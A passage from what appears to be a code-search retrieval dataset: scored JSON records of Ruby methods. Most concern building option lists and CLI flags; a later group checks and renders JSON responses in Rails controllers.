"docid": "4e395cfb66f5c36ab10c783782b82ffb",
"score": "0.5471614",
"text": "def options(name)\n enum = enums[name]\n return [] if enum.blank?\n enum.to_a\n end",
"title": ""
},
{
"docid": "3ca2eea8df5f4d047bde2dc8141d9e12",
"score": "0.54535794",
"text": "def generate_names(name, options={})\n name = name.to_s\n effective_names = [name]\n effective_names += [\"#{name}A\", \"#{name}W\"] unless name =~ /[WA]$/\n aliases = ([options[:alias]] + [options[:aliases]]).flatten.compact\n snake_name = options[:snake_name] || name.snake_case\n camel_name = options[:camel_name] || name.camel_case\n case snake_name\n when /^is_/\n aliases << snake_name.sub(/^is_/, '') + '?'\n when /^set_/\n aliases << snake_name.sub(/^set_/, '')+ '='\n when /^get_/\n aliases << snake_name.sub(/^get_/, '')\n end\n [snake_name, camel_name, effective_names, aliases]\n end",
"title": ""
},
{
"docid": "df24fe1b55091cde919796a496242186",
"score": "0.54426473",
"text": "def set_option_list\n @location_status_opts = ordered_list(grap_item_list(\"location_status\"))\n @sts_geo_crm_opts = ordered_list(grap_item_list(\"sts_geo_crm\"))\n @sts_url_opts = ordered_list(grap_item_list(\"sts_url\"))\n @sts_acct_opts = ordered_list(grap_item_list(\"sts_acct\"))\n @sts_addr_opts = ordered_list(grap_item_list(\"sts_addr\"))\n @sts_ph_opts = ordered_list(grap_item_list(\"sts_ph\"))\n @crm_source_opts = ordered_list(grap_item_list(\"crm_source\"))\n @tier_opts = ordered_list(grap_item_list(\"tier\"))\n @sales_person_opts = ordered_list(grap_item_list(\"sales_person\"))\n @acct_type_opts = ordered_list(grap_item_list(\"acct_type\"))\n # @state_opts = ordered_list(grap_item_list(\"state\"))\n @state_opts = ordered_list(list_of_states)\n end",
"title": ""
},
{
"docid": "efda9834fee0e40297bb7ac7a4e81089",
"score": "0.54299617",
"text": "def html_options\n @wraped_list = {}\n list = NestedSelect::List.new(\"root\", nil)\n\n @nested_names_arr.each do |retailer_category|\n @names = retailer_category[:name].split(\">\")\n point = list\n length = @names.length - 1\n @names.each_with_index do |name, level|\n id = retailer_category[:id]\n full_name = parameterized_name(@names[0..level])\n if exist_node=list.find_by_name(full_name)\n # Use existed name\n if exist_node.full_name!=full_name && length != level\n\n found_item = exist_node.find_item(name)\n moved_item = found_item\n\n exist_node.remove_item(found_item)\n item = NestedSelect::List.new(name, nil)\n item.add_item(moved_item)\n exist_node.add_item(item)\n point = item\n else\n point = exist_node\n end\n\n else\n # Create new node\n unless (level == length)\n item = NestedSelect::List.new(name, nil)\n item.add_item(NestedSelect::Item.new(name, nil))\n else\n item = NestedSelect::Item.new(name, id)\n end\n\n point.add_item(item)\n point = item\n end\n end\n\n end\n\n @wraped_list = list.wrap\n end",
"title": ""
},
{
"docid": "58a507f3cb0658c7a8537f53d59559b1",
"score": "0.5428821",
"text": "def set_layer_name\n fail \"Layer name is required\" if tokens.empty?\n options[:layer_name] = tokens.shift\n end",
"title": ""
},
{
"docid": "0c068aa7fe416ea4b9fe6bd7849d4b29",
"score": "0.54261535",
"text": "def list\n @layer.layer_names\n end",
"title": ""
},
{
"docid": "c48cfc20d68f80afd40ea679945fb4bc",
"score": "0.5414607",
"text": "def set_option_list\n @alt_source_opts = ordered_list(grap_item_list(\"alt_source\"))\n @sfdc_type_opts = ordered_list(grap_item_list(\"sfdc_type\"))\n @sfdc_tier_opts = ordered_list(grap_item_list(\"sfdc_tier\"))\n @sfdc_sales_person_opts = ordered_list(grap_item_list(\"sfdc_sales_person\"))\n # @state_opts = ordered_list(grap_item_list(\"sfdc_state\"))\n @franch_cons_opts = ordered_list(grap_item_list(\"sfdc_franch_cons\"))\n @franch_cat_opts = ordered_list(grap_item_list(\"sfdc_franch_cat\"))\n @template_opts = ordered_list(grap_item_list(\"template\"))\n @bds_status_opts = ordered_list(grap_item_list(\"bds_status\"))\n @staffer_sts_opts = ordered_list(grap_item_list(\"staffer_sts\"))\n @acct_merge_sts_opts = ordered_list(grap_item_list(\"acct_merge_sts\"))\n @match_score_opts = ordered_list(grap_item_list(\"match_score\"))\n @acct_match_sts_opts = ordered_list(grap_item_list(\"acct_match_sts\"))\n @pin_match_sts_opts = ordered_list(grap_item_list(\"pin_match_sts\"))\n @url_match_sts_opts = ordered_list(grap_item_list(\"url_match_sts\"))\n @ph_match_sts_opts = ordered_list(grap_item_list(\"ph_match_sts\"))\n # @state_opts = ordered_list(grap_item_list(\"state\"))\n @state_opts = ordered_list(list_of_states)\n end",
"title": ""
},
{
"docid": "0b043f07938ffbac7ad6cb383427dd56",
"score": "0.5414428",
"text": "def text_options\n option_list.each do |opt|\n if @options.key?(opt.name)\n opt.description = @options[opt.name]\n end\n end \n\n max = option_list.map{ |opt| opt.usage.size }.max + 2\n\n s = []\n s << \"OPTIONS\"\n option_list.each do |opt|\n mark = (opt.name.size == 1 ? ' -' : '--')\n s << \" #{mark}%-#{max}s %s\" % [opt.usage, opt.description]\n end\n s.join(\"\\n\")\n end",
"title": ""
},
{
"docid": "a78671c01fb1f87fbfb79a9b35be1ade",
"score": "0.5412438",
"text": "def to_option_name\n to_flags(true).join(\"\\n\")\n end",
"title": ""
},
{
"docid": "29ee83c9bd40bfaa3b2403b3cdfb266e",
"score": "0.54050684",
"text": "def generate_options_routes!\n paths = routes.group_by { |_, cond| cond[:path_info] }\n paths.each do |path, options|\n allowed = options.map { |_, cond| cond[:request_method] }\n next if allowed.include?('OPTIONS') || allowed.none?\n\n allowed << 'HEAD' if allowed.include? 'GET'\n allowed << 'OPTIONS'\n allowed.sort!\n\n formats = options.inject([]) do |f, (_, _, _, config)|\n f + config[:endpoint].config[:formats]\n end\n formats.uniq!\n\n generate_options_route! path, allowed, formats\n end\n end",
"title": ""
},
{
"docid": "a293e94c326ab603d292e16a9e9be196",
"score": "0.54050016",
"text": "def transform_options(options)\n options.inject([]) do |result, (option, value)|\n option = option.to_s.gsub(/_/, '-')\n \n result << if option.size == 1\n value == true ? \"-#{option}\" : \"-#{option} #{value}\" \n else\n value == true ? \"--#{option}\" : \"--#{option}=#{value}\" \n end\n end\n end",
"title": ""
},
{
"docid": "01e1de668f359ea3e60baafcc6300ec3",
"score": "0.5403531",
"text": "def layer_definitions_from_layer_data(layer_data)\n if layer_data[:options] &&\n layer_data[:options][:layer_definition] &&\n layer_data[:options][:layer_definition][:layers]\n layer_data[:options][:layer_definition][:layers]\n elsif layer_data[:options] &&\n layer_data[:options][:named_map] &&\n layer_data[:options][:named_map][:layers]\n layer_data[:options][:named_map][:layers]\n else\n []\n end\n end",
"title": ""
},
{
"docid": "059aacc1f58713ad2ca9e708e2cec2cd",
"score": "0.5401839",
"text": "def build_options(scope = self)\n OptionParser.new do |opt|\n opt.program_name = File.basename $0\n if const_defined?(:VERSION)\n opt.version = const_get(:VERSION)\n end\n opt.summary_indent = ' ' * 2\n (option_builders || []).each{|b| \n scope.instance_exec(opt, &b)\n }\n end\n end",
"title": ""
},
{
"docid": "059aacc1f58713ad2ca9e708e2cec2cd",
"score": "0.5401839",
"text": "def build_options(scope = self)\n OptionParser.new do |opt|\n opt.program_name = File.basename $0\n if const_defined?(:VERSION)\n opt.version = const_get(:VERSION)\n end\n opt.summary_indent = ' ' * 2\n (option_builders || []).each{|b| \n scope.instance_exec(opt, &b)\n }\n end\n end",
"title": ""
},
{
"docid": "8e9e26d9f1658581d917db2a36dd0d20",
"score": "0.53954196",
"text": "def generate_connect_cli_arguments(options)\n options.map do |key, value|\n # If value is false, option is not set\n next if value.to_s == \"false\"\n # If value is true, consider feature flag with no value\n opt = value.to_s == \"true\" ? [] : [value]\n opt.unshift(\"--#{key.to_s.tr(\"_\", \"-\")}\")\n end.flatten.compact\n end",
"title": ""
},
{
"docid": "d46940572b403669758b830976c7be6a",
"score": "0.5384545",
"text": "def option_sets_for_select\n option_sets.collect{|x| [x.name, x.id]}\n end",
"title": ""
},
{
"docid": "166d95113bc31f49dde62f61f22d76b1",
"score": "0.536674",
"text": "def transform_options(options)\n args = []\n options.keys.each do |opt|\n if opt.to_s.size == 1\n if options[opt] == true\n args << \"-#{opt}\"\n elsif options[opt] == false\n # ignore\n else\n val = options.delete(opt)\n args << \"-#{opt.to_s} '#{e(val)}'\"\n end\n else\n if options[opt] == true\n args << \"--#{opt.to_s.gsub(/_/, '-')}\"\n elsif options[opt] == false\n # ignore\n else\n val = options.delete(opt)\n args << \"--#{opt.to_s.gsub(/_/, '-')}='#{e(val)}'\"\n end\n end\n end\n args\n end",
"title": ""
},
{
"docid": "166d95113bc31f49dde62f61f22d76b1",
"score": "0.536674",
"text": "def transform_options(options)\n args = []\n options.keys.each do |opt|\n if opt.to_s.size == 1\n if options[opt] == true\n args << \"-#{opt}\"\n elsif options[opt] == false\n # ignore\n else\n val = options.delete(opt)\n args << \"-#{opt.to_s} '#{e(val)}'\"\n end\n else\n if options[opt] == true\n args << \"--#{opt.to_s.gsub(/_/, '-')}\"\n elsif options[opt] == false\n # ignore\n else\n val = options.delete(opt)\n args << \"--#{opt.to_s.gsub(/_/, '-')}='#{e(val)}'\"\n end\n end\n end\n args\n end",
"title": ""
},
{
"docid": "d736862afe49bb4a78d804096d854843",
"score": "0.53642476",
"text": "def generate_dropbox(*args)\n\t\toptions = []\n\t\targs = args[0] if args[0].is_a? Array\n\t\targs.each { |p| options << \"<option>#{p}</option>\"}\n\t\treturn options\n\tend",
"title": ""
},
{
"docid": "ae04cb8517b6691c369f34aedecb2ce4",
"score": "0.53566504",
"text": "def nested_options_example_ru\n @nested_names_arr = []\n @nested_names_arr << {name: \"Все категории\", id: 'all'}\n @nested_names_arr << {name: \"Аудио>Аксессуары>Smile\", id: '566767'}\n @nested_names_arr << {name: \"Аудио>Аксессуары>Подушка\", id: '45255'}\n @nested_names_arr << {name: \"Аудио>DVD\", id: '234245'}\n @nested_names_arr << {name: \"Товары для детей\", id: '44245tr5'}\n\n nested_list = NestedList.new(@nested_names_arr)\n nested_list.html_options\n end",
"title": ""
},
{
"docid": "1ce03d7fa5470b949561db185c4672fc",
"score": "0.5355697",
"text": "def build_era_name_options(selected, options = {})\n start = options.delete(:start) || 0\n stop = options.delete(:end) || 59\n step = options.delete(:step) || 1\n leading_zeros = options.delete(:leading_zeros).nil? ? true : false\n\n select_options = []\n start.step(stop, step) do |i|\n value = leading_zeros ? sprintf(\"%02d\", i) : i\n tag_options = { :value => value }\n tag_options[:selected] = \"selected\" if selected == i\n select_options << content_tag(:option, year_with_era_name(value), tag_options)\n end\n select_options.join(\"\\n\") + \"\\n\"\n end",
"title": ""
},
{
"docid": "4d53192e831ea768e35ca45983d74a0f",
"score": "0.53511447",
"text": "def merge_options_aliases\n commands = Binder::Strategy.subclasses.map { |command| command.to_s.gsub!('Binder::', '').downcase }.sort\n previous_cmd = \"\"\n options = []\n\n commands.each_with_index do |cmd, i|\n if cmd.length == 1\n previous_cmd = cmd\n elsif not previous_cmd.empty?\n cmd_prefixes = [previous_cmd.length == 1 ? '-' : '--', cmd.length == 1 ? '-' : '--']\n options << \"#{cmd_prefixes.first}#{previous_cmd}, #{cmd_prefixes.last}#{cmd}\"\n previous_cmd = \"\"\n end\n end\n @options = options\n end",
"title": ""
},
{
"docid": "0979266443263d4a6e340599515bbf8d",
"score": "0.5334405",
"text": "def build_option(objects, &block); end",
"title": ""
},
{
"docid": "0979266443263d4a6e340599515bbf8d",
"score": "0.5334405",
"text": "def build_option(objects, &block); end",
"title": ""
},
{
"docid": "da253c36158638c807364a7c3b80ad00",
"score": "0.5332295",
"text": "def set_names\n option_sets.map{|os| os.name}.join(', ')\n end",
"title": ""
},
{
"docid": "26d0b9575d8d200f761aa69cef8c3d9b",
"score": "0.53146607",
"text": "def build_option name, label\n { :name => name.to_s, :label => label, :sql => sql_from_value( name ) }\n end",
"title": ""
},
{
"docid": "5e663596aeb6a3ec9eae937fcb5a6d05",
"score": "0.5311658",
"text": "def option_names\n self.labels.map{ |label| label.text.strip }\n end",
"title": ""
},
{
"docid": "775de599a910230d2c7c8ee5643426e8",
"score": "0.5309153",
"text": "def option_elements\n base_id = @attrib[:id]\n base_id ||= @attrib[:name]\n elements = []\n options().each_pair { |opt_value, opt_label|\n selected = @value.map { |v| v.to_s }.include?(opt_value.to_s)\n if selected then\n elements << HTML.li(:id => \"#{base_id}_#{opt_value}\") { \n @option_field_decorator.new(:name => @attrib[:name], \n :value => opt_value, \n :label => opt_label, \n :parent => self)\n }\n end\n }\n elements\n end",
"title": ""
},
{
"docid": "73f1aeb5f2628aaf5517468350407d55",
"score": "0.53087837",
"text": "def build_option(name, options, scope)\n scope[name] = Thor::Option.new(name, options[:desc], options[:required], options[:type],\n options[:default], options[:aliases], options[:group])\n end",
"title": ""
},
{
"docid": "3f943f8bbac8941a619fc1c1fa97da2f",
"score": "0.53083885",
"text": "def text_options\n option_list.each do |opt|\n if @options.key?(opt.name)\n opt.description = @options[opt.name]\n end\n end \n\n # if two options have the same description, they must aliases\n aliased_options = option_list.group_by{ |opt| opt.description }\n\n list = aliased_options.map do |desc, opts|\n [opts.map{ |o| \"%s%s\" % [o.mark, o.usage] }, desc]\n end\n\n max = list.map{ |opts, desc| opts.join(' ').size }.max.to_i + 2\n\n list.map do |opts, desc|\n [max, opts, desc]\n end\n end",
"title": ""
},
{
"docid": "4ad21eba2316b4cd7f5fafc450570a75",
"score": "0.5308313",
"text": "def options_stack; end",
"title": ""
},
{
"docid": "4ad21eba2316b4cd7f5fafc450570a75",
"score": "0.5308313",
"text": "def options_stack; end",
"title": ""
},
{
"docid": "4ad21eba2316b4cd7f5fafc450570a75",
"score": "0.5308313",
"text": "def options_stack; end",
"title": ""
},
{
"docid": "0b2486cb638300764e92a66cfb25d07b",
"score": "0.5305495",
"text": "def generate_uniform_options()\n checks = @players_jugadas.keys.map do |name|\n flow { @c = check; para name }\n [@c, name]\n end\n para \"Se tiene que seleccionar por lo menos una opcion\", size: \"xx-small\"\n return checks\n end",
"title": ""
},
{
"docid": "b411e3f8c5dfa94fcb0bcb3198508797",
"score": "0.5298831",
"text": "def rearrange_options!(args, options)\n prefix_options = {}\n (PREFIX_OPTIONS + PREFIX_OPTIONS.map { |o| o.to_s }).each do |k|\n if options.has_key?(k)\n value = options.delete(k)\n prefix_options[k.to_sym] = value\n end\n end\n hash_to_options(prefix_options).reverse.each { |o| args.unshift(o) }\n end",
"title": ""
},
{
"docid": "bd05089e3cfc678ca5ebeba29a17958e",
"score": "0.5294257",
"text": "def get_options; end",
"title": ""
},
{
"docid": "6587cdd6d89866a31c1e9ec0664f8e5e",
"score": "0.52922463",
"text": "def group_by_options\n options = [\n [_(\"Tags\"), \"1\"],\n [_(\"Clients\"), \"2\"],\n [_(\"Projects\"), \"3\"],\n [_(\"Milestones\"), \"4\"],\n [_(\"Projects / Milestones\"), \"10\"],\n [_(\"Users\"), \"5\"],\n [_(\"Status\"), \"7\"], \n [_(\"Requested By\"), \"11\"]\n ]\n\n current_user.company.properties.each do |prop|\n options << [ prop.name, prop.filter_name ]\n end\n\n return options\n end",
"title": ""
},
{
"docid": "5788a5b41e4f70ec6e554b26fe00b4d3",
"score": "0.5289116",
"text": "def sorted_option_string(options, mark = '', inner_sep = '', outer_sep = '')\n options.map {|k, v| \"#{mark}#{k}#{mark}#{inner_sep}#{mark}#{v}#{mark}\" }.sort.join(outer_sep)\n end",
"title": ""
},
{
"docid": "9b44ebabf4a1c83b4d157e669d398f48",
"score": "0.5284036",
"text": "def each_layer options = {}\n doc = Nokogiri::XML(self.search :layers => nil)\n ap({:each_layer_doc => doc, :xpath => Layer.root_xpath}) if $DEBUG\n doc.xpath(Layer.root_xpath + '/name/text()').each { |l|\n ap({:layer => l.to_s.strip}) if $DEBUG\n yield get_layer l.to_s.strip unless l.nil?\n }\n end",
"title": ""
},
{
"docid": "57d674e7035eaf8e5a23461127ce3144",
"score": "0.5280373",
"text": "def build_options(options)\n out = {}\n \n options.each do |key, val|\n out[key.to_sym] = val.nil? ? '' : val.to_s\n end\n\n return out\n end",
"title": ""
},
{
"docid": "94391941893e0f032903b490f5f6bfcf",
"score": "0.5269016",
"text": "def group_name_option(options, key)\n val = options[key]\n\n if val.is_a?(Array)\n val.map!(&:to_sym)\n val.sort!\n val = val[0] if val.one?\n end\n\n val.respond_to?(:to_sym) ? val.to_sym : val\n end",
"title": ""
},
{
"docid": "3d740ff52656a96664ea8110cfcd2f36",
"score": "0.526309",
"text": "def options( )\n # add in any hidden menu commands\n @items.concat(@hidden_items)\n\n by_index = if @index == :letter\n l_index = \"`\"\n @items.map { \"#{l_index.succ!}\" }\n else\n (1 .. @items.size).collect { |s| String(s) }\n end\n by_name = @items.collect { |c| c.first }\n\n case @select_by\n when :index then\n by_index\n when :name\n by_name\n else\n by_index + by_name\n end\n ensure\n # make sure the hidden items are removed, before we return\n @items.slice!(@items.size - @hidden_items.size, @hidden_items.size)\n end",
"title": ""
},
{
"docid": "cd78066f493e22750fe1e8d656ed8711",
"score": "0.5253103",
"text": "def optionsToHtml(arr, descriptions)\n arr.map {|elem| \"<option value='#{elem}'>#{elem} (#{descriptions[idDecode(elem)[0]].name})</option>\"}\n .join\nend",
"title": ""
},
{
"docid": "8a8ab1816b3edca6a6fd38d3b02493b1",
"score": "0.5247273",
"text": "def get_selection_options(dwarf_planets)\n return \"\\nPLANETS#{dwarf_planets.list_planets}\n #{dwarf_planets.number_of_planets + 1}. ADD\n #{dwarf_planets.number_of_planets + 2}. EXIT\\n\"\nend",
"title": ""
},
{
"docid": "2949dab828e85e40ef9e604e2dab6380",
"score": "0.52466047",
"text": "def build_options(options)\n out = {}\n options.each {|key, val| out[key.to_sym] = val.nil? ? '' : val.to_s}\n return out\n end",
"title": ""
},
{
"docid": "9839f374eedb246423afa884fee64645",
"score": "0.52465916",
"text": "def layers\n result = []\n @config_layers.each { |layer| result << layer[:name] }\n result\n end",
"title": ""
},
{
"docid": "e072ee306dd83d00b6c1cf9e04c150cf",
"score": "0.5246225",
"text": "def select_option_symbols(*args)\n self.symbols.collect {|s,v| [symbol_option_name(s,*args), s]}\n end",
"title": ""
},
{
"docid": "6d846c221be9eb69fac08e0a64969569",
"score": "0.52451134",
"text": "def build_option(name, options, scope) #:nodoc:\n scope[name] = Foreman::Thor::Option.new(name, options)\n end",
"title": ""
},
{
"docid": "a7f90e3fc4241f60a86e25a75fe978c7",
"score": "0.52450657",
"text": "def select_options\n (first_level_options || []).map{ |o| [o.name, o.id] }\n end",
"title": ""
},
{
"docid": "40edd4a8e939c5078fc5abd606db5a91",
"score": "0.5242379",
"text": "def options_for_depth(depth)\n ids = option_ids_up_to_depth(depth - 1)\n option_set.options_for_node(ids) || []\n end",
"title": ""
},
{
"docid": "07c95f4b906fdcee1fedd621f7594b2e",
"score": "0.5241455",
"text": "def option_helpers\n @gen_options.collect{|s| tabto(OPTION_HELPERS[s], 0).strip}\n end",
"title": ""
},
{
"docid": "2b9a6c4b853f32d47227e14bd4b06ae4",
"score": "0.5235252",
"text": "def escape_names(options, columns, ns)\n options.map do |option|\n if option.kind_of?(Array)\n escape_names(option, columns, ns)\n elsif columns.has_key?(option.to_sym) && columns[option.to_sym]\n columns[option.to_sym]\n elsif columns.has_key?(option.to_sym)\n option = Utils.add_namespace(option, ns)\n option.to_s.split('.').map{ |o| \"`#{o}`\"}.join('.')\n else\n option\n end\n end\n end",
"title": ""
},
{
"docid": "8695895181ce3fb438e7b291ce609e2a",
"score": "0.5229582",
"text": "def options type\n opts = []\n if resource[:options]\n resource[:options].keys.sort.each do |key|\n value = resource[:options][key]\n value = nil if value == :undef\n value = value.to_s\n dashized = dashize(key.strip)\n if predicate(type).call(dashized)\n opts << dashized\n opts << value.strip unless value.strip.empty?\n end\n end\n end\n return opts\n end",
"title": ""
},
{
"docid": "054b8b6b06d93bdcb12109d1e6ef3924",
"score": "0.5228028",
"text": "def option_collection\n list_option\n end",
"title": ""
},
{
"docid": "18182c99dae68025868e87e5324843b8",
"score": "0.5222494",
"text": "def thor_options_to_optparse\n flags = []\n %i[color progress debug interactive].each do |option|\n if options[option] then flags << \"--#{option}\"\n else\n flags << \"--no-#{option}\"\n end\n end\n flags\n end",
"title": ""
},
{
"docid": "22348155f741f2bf7190ed9874e9a415",
"score": "0.5220476",
"text": "def options_for(args)\n options = {}\n while (args =~ /^-[[:alnum:]]/) do\n opts, args = args.split(/\\s+/, 2)\n @logger.debug \"Raw options: #{opts}\"\n opts.gsub(/^-/, '').split('').each do |o|\n options[o.downcase] = true\n end\n end\n @logger.debug \"Options: #{options}\"\n [options, args]\n end",
"title": ""
},
{
"docid": "a12b6af837734d4849c2125ed66667bd",
"score": "0.52040774",
"text": "def tire_options(list)\n result = '' \n list.each do |option|\n \n end\n end",
"title": ""
},
{
"docid": "04032610d38645a226eed839c8c2f257",
"score": "0.52013993",
"text": "def additional_spec_options_collection\n args.collect do |key, value|\n case key.to_s\n when \"scope\"\n \"scoped_to(#{value})\"\n else\n raise(ArgumentError, \"Unknown property: #{key}\")\n end\n end\n end",
"title": ""
},
{
"docid": "f00690630b44847beefba7c8f02a8100",
"score": "0.5196999",
"text": "def set_kind_selector_options\n\t\t@kind_selector_options = []\n\t\tdict = {\n\t\t\t\"daily\" => \"毎日\",\n\t\t\t\"weekly\" => \"毎週\",\n\t\t\t\"monthly\" => \"毎月\",\n\t\t\t\"yearly\" => \"毎年\",\n\t\t}\n\n\t\tRegularPlan.kinds.each do |key, value|\n\t\t\t@kind_selector_options << [dict[key], key]\n\t\tend\n\tend",
"title": ""
},
{
"docid": "110919a4105688c34724e9982c23f009",
"score": "0.5190581",
"text": "def fetch_unit_options\n zum.unit_list.inject([[\"-\",0]]) {|units,unit| units << [unit.name,unit.id]}\n end",
"title": ""
},
{
"docid": "53eb02762c5745b53517392dc8f099e2",
"score": "0.51887184",
"text": "def getOptions\n rOptions = {}\n\n @OptionsPanels.each do |iPanelInfo|\n iTitle, iIconFileName, iPanel = iPanelInfo\n iPanel.fillOptions(rOptions)\n end\n\n return rOptions\n end",
"title": ""
},
{
"docid": "a1419cf9d8cb5374d88a50216df3e9f1",
"score": "0.518656",
"text": "def set_options(options)\n @option_str = ''\n options.each do |value, display|\n @option_str << '<option value=\"' + value + '\" multiselected=\"{%=' + @model_name + '[:' + @name + ']%}\">' + display + '</option>'\n end\n end",
"title": ""
},
{
"docid": "c6d0cb18f894b7b98eac51b85711ecfa",
"score": "0.518475",
"text": "def boot_order_to_options\n order = virtualbox_boot_order\n (1..4).reduce([]) do |options, idx|\n options += [\"--boot#{idx}\", order[idx-1].to_s]\n end\n end",
"title": ""
},
{
"docid": "2dd575f5954c7eb67a0e717438542846",
"score": "0.5181286",
"text": "def define_options\n define = {\n 'name' => [],\n 'type' => [],\n 'default' => []\n }\n options.each do |item|\n define['name'] << item.name\n define['type'] << item.type_to_s\n define['default'] << item.default\n end\n define\n end",
"title": ""
},
{
"docid": "d034c676b49cf3d553182f9723db2bdd",
"score": "0.5177069",
"text": "def specifications\n rv = [] \n specification_hash.each do |opt, text| \n rv << \"#{opt.name} = #{text}\" \n end \n rv.join(' - ') \n end",
"title": ""
},
{
"docid": "65ba345ad3420c3f2768dbc6ae22c874",
"score": "0.51751083",
"text": "def tools\n select_tools.map { |tool_name| OpenStruct.new(options_for tool_name) }\n end",
"title": ""
}
] |
69ea26b77787160a6cb9d8de5c7252da | Just to see if the json is being rendered correctly | [
{
"docid": "af2a39c30d0236ddbd10ab2c3ad6ebad",
"score": "0.0",
"text": "def test\n @user = User.first\n render json: @user\n end",
"title": ""
}
] | [
{
"docid": "c5d02ce6eaddb0ce3dc6935ca23b7c61",
"score": "0.7376181",
"text": "def it_is_expected_to_render_json\n it { expect(response.body).to start_with('{') }\n end",
"title": ""
},
{
"docid": "3397c2cddda218fb9e152d03ba677e34",
"score": "0.722965",
"text": "def json_ok\n json(true)\n end",
"title": ""
},
{
"docid": "636f9b7eb36934b87348521282b3f2ac",
"score": "0.7090855",
"text": "def json?; end",
"title": ""
},
{
"docid": "a6321b05b17e94eb645801ada62fcff9",
"score": "0.7002034",
"text": "def json?\n true\n end",
"title": ""
},
{
"docid": "de44421cd68975f19eced6ea366a2058",
"score": "0.67173463",
"text": "def json?\n format == 'json'\n end",
"title": ""
},
{
"docid": "5474a750f8b6d6e67e8ea8396c1c0c92",
"score": "0.6636992",
"text": "def requested_json?\n return request.format == \"application/json\"\n end",
"title": ""
},
{
"docid": "32d4b398436e20b9098cb53dadfe180f",
"score": "0.6627331",
"text": "def supports_json?; end",
"title": ""
},
{
"docid": "1f02813e0aaa9d172804019aad405860",
"score": "0.6604088",
"text": "def json?\n parsed_body_valid?\n end",
"title": ""
},
{
"docid": "369a08a889531f8f675a5cdc8a538061",
"score": "0.6600434",
"text": "def json?\n !!@json_path\n end",
"title": ""
},
{
"docid": "5ab46dc7b21d16e3983c5fc78548dcf8",
"score": "0.6569179",
"text": "def json_format?\n 'json'.freeze.eql?(output)\n end",
"title": ""
},
{
"docid": "8885862b4826a1d9ada13298d76b0f67",
"score": "0.6523493",
"text": "def json?\n content_type = @response.headers['Content-Type'] ||\n @response.headers['content-type'] || ''\n content_type.include?('application/json')\n end",
"title": ""
},
{
"docid": "b2617adedbe58542cca523aff2f7944e",
"score": "0.6510532",
"text": "def valid\n render json: {}, status: 200\n end",
"title": ""
},
{
"docid": "3deb1721ab45c1c5d80446d12d6ebaa4",
"score": "0.65091795",
"text": "def it_should_render_json(record = nil, options = {}, &block)\n it_should_render_formatted :json, record, options, &block\n end",
"title": ""
},
{
"docid": "8dc4457fa9e1ce53650ad0a43bca316a",
"score": "0.6491771",
"text": "def json?\n !json_api_url.nil? && !json_api_url.empty?\n end",
"title": ""
},
{
"docid": "b8c2ff2a0ae7195d0e203c257aebf667",
"score": "0.64870346",
"text": "def json?(http_response)\n json_header?(http_response) && body?(http_response)\n end",
"title": ""
},
{
"docid": "42bf77882e5aa872a712badef6664e52",
"score": "0.6478512",
"text": "def format_json?\n request.format.json?\n end",
"title": ""
},
{
"docid": "46bb7797d62bd252fad04bbf17a30470",
"score": "0.6463446",
"text": "def check\n respond_to do |format|\n format.json { render json: {} }\n end\n end",
"title": ""
},
{
"docid": "084c24d4eb97653ada17dfa2e6499b0e",
"score": "0.64355713",
"text": "def json?\n @gapi.source_format == \"NEWLINE_DELIMITED_JSON\"\n end",
"title": ""
},
{
"docid": "6fe06d4f23b23457de7adc32e5908a43",
"score": "0.64134413",
"text": "def json?\n @gapi.configuration.load.source_format == \"NEWLINE_DELIMITED_JSON\"\n end",
"title": ""
},
{
"docid": "8f05c04937ef1c340716959c9c8102f1",
"score": "0.64061505",
"text": "def rendering_json?(opt)\n ((opt[:format].to_s.downcase == 'json') if opt.is_a?(Hash)) ||\n (request.format.json? if defined?(request))\n end",
"title": ""
},
{
"docid": "247c0cbc75175a38d316bd42a46d179e",
"score": "0.6399959",
"text": "def render_json_success\n render json: { }, status: 200\n end",
"title": ""
},
{
"docid": "c70823af30068545f27a6d9407f61131",
"score": "0.63547283",
"text": "def responds_with_json?\n response.content_type == mime_type(:json)\n end",
"title": ""
},
{
"docid": "7f538929e184d23ff018e510b46f8173",
"score": "0.63452286",
"text": "def json?\n raw_options[:format] == :json\n end",
"title": ""
},
{
"docid": "60a096679ed1947adb99229eecc2c28e",
"score": "0.6341941",
"text": "def response_contains_json?\n if RESPONSE_IS_NOT_JSON.include? @request.method\n return false\n end\n true\n end",
"title": ""
},
{
"docid": "bad8516ae9534cf4be9d1ff429751eea",
"score": "0.6308409",
"text": "def json?\n (@headers[:content_type].include?'json') ? true : false\n end",
"title": ""
},
{
"docid": "abd1ddb7ac7b1f75f8c15d5198372140",
"score": "0.63013875",
"text": "def valid_json?(json)\n !!from_json(json)\n end",
"title": ""
},
{
"docid": "7f5b7e10ed2d2ff4f2af09bb9323fa01",
"score": "0.63005257",
"text": "def check_json_format\n head :not_acceptable if request.format != Mime::JSON\n end",
"title": ""
},
{
"docid": "a153d8aa7dcae4771b8ed809c241c316",
"score": "0.62992924",
"text": "def render_json(json)\n if json[:error].nil?\n render :json => json, :status => \"200\", :content_type => \"application/json\"\n else\n render :json => json, :status => \"400\", :content_type => \"application/json\"\n end\n end",
"title": ""
},
{
"docid": "33aed8274192363d23e62736b19b8f7b",
"score": "0.62980926",
"text": "def render_format\n :json\n end",
"title": ""
},
{
"docid": "efc887e8fd85e2ccbf643ee3046dd69a",
"score": "0.62937564",
"text": "def valid?(json: {})\n json.present? && json[:title].present?\n end",
"title": ""
},
{
"docid": "efc887e8fd85e2ccbf643ee3046dd69a",
"score": "0.62937564",
"text": "def valid?(json: {})\n json.present? && json[:title].present?\n end",
"title": ""
},
{
"docid": "5e69877e7491d11b32cdacb384ab4404",
"score": "0.62854797",
"text": "def is_json?( response )\n begin\n JSON(response)\n rescue\n false\n end\n end",
"title": ""
},
{
"docid": "5d3ecf747ebeb0f2faae597ad71d1bbd",
"score": "0.6266821",
"text": "def has_jsonmodel?\n !@jsonmodel.nil?\n end",
"title": ""
},
{
"docid": "5d3ecf747ebeb0f2faae597ad71d1bbd",
"score": "0.6266821",
"text": "def has_jsonmodel?\n !@jsonmodel.nil?\n end",
"title": ""
},
{
"docid": "24726e1c9c30efbc1920305940fe1b3b",
"score": "0.6259335",
"text": "def json_data; end",
"title": ""
},
{
"docid": "b65e2ed7b7155906060039cd1d30a9d8",
"score": "0.62354743",
"text": "def json_success\n render :json => [true]\n end",
"title": ""
},
{
"docid": "022f70f6ad892199e44203eafcd6e47c",
"score": "0.62335324",
"text": "def json?(type)\n format_type(type) == :json\n end",
"title": ""
},
{
"docid": "adcea0973acb3316c77cb6f1a2ce9b3b",
"score": "0.62286675",
